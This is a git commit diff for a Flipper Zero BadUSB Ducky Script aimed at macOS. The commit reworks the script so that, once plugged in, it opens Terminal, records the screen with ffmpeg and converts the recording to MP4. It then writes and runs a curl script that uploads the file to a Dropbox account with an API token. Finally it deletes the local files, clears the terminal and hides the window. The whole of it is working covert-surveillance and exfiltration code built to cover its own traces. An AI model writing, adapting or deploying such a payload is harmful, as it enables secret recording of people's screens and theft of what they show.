removed two step process. Now truly plug and play

This commit is contained in:
Narstybits
2023-05-31 22:35:49 -05:00
parent a617251e36
commit 4df05467e4
+27 -26
View File
@@ -1,31 +1,15 @@
REM This script records the screen and saves the recording as a .mkv file to the desktop.
REM Converts the recording to an MP4 file and saves the MP4 file to the desktop.
REM Then uploads the MP4 file to your Dropbox API
REM Must have terminal recording privileges enabled
REM It includes a delay of 10 seconds after starting the recording to allow for the desired recording duration. Can adjust the delay for longer recordings line 47.
REM Must have terminal recording privileges enabled in Privacy & Security settings
REM Script includes a delay of 10 seconds after starting the recording
REM to allow for the desired recording duration. Can adjust the delay for longer recordings.
REM Must have ffmpeg installed! You can download through the terminal using the brew 'install ffmpeg command'.
REM Copy and paste this code (lines 17-23) into the Text edit App on your MacOs
REM Replace the "Your API token Here" placeholder with your actual Dropbox API token. Line 20
REM Replace "USERNAME HERE" WITH MAC USERNAME. Line 23.
REM Can use terminal command whoami to find username.
REM Save this script below (lines 17-23) as upload.sh file to your desktop.
#!/bin/bash
curl -X POST "https://content.dropboxapi.com/2/files/upload" \
-H "Authorization: Bearer Your API token Here" \
-H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" \
-H "Content-Type: application/octet-stream" \
--data-binary "@/Users/USERNAME HERE/Desktop/screen_recording.mp4"
REM Now save the below Ducky Script (lines 37-58) as a .txt file (main Read.me has step by step directions)
REM and put the .txt file on your flipper zero to execute the Ducky Script through the terminal.
REM Replace "USERNAME_HERE" with system username
REM Replace "Your API token Here" with your API access token
REM Author: Narsty
@@ -39,7 +23,7 @@ DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
DELAY 1000
ENTER
DELAY 500
STRING ffmpeg -f avfoundation -r 30 -i "1" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv
@@ -49,13 +33,30 @@ DELAY 10000 ; Delay for 10 seconds (adjust as needed)
CTRL C ; Send the interrupt signal to stop the recording
DELAY 500
STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mp4
DELAY 250
DELAY 500
ENTER
DELAY 10000
STRING ~/Desktop/upload.sh
DELAY 550
STRING echo 'curl -X POST "https://content.dropboxapi.com/2/files/upload" -H "Authorization: Bearer Your API token Here" -H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary "@/Users/USERNAME_HERE/Desktop/screen_recording.mp4"' > upload.sh
ENTER
DELAY 500
STRING chmod +x upload.sh
ENTER
DELAY 500
STRING ./upload.sh
ENTER
DELAY 6000
STRING rm ~/Desktop/screen_recording.mp4
DELAY 250
ENTER
DELAY 500
STRING rm ~/Desktop/screen_recording.mkv
DELAY 250
ENTER
STRING clear
ENTER
DELAY 500
GUI h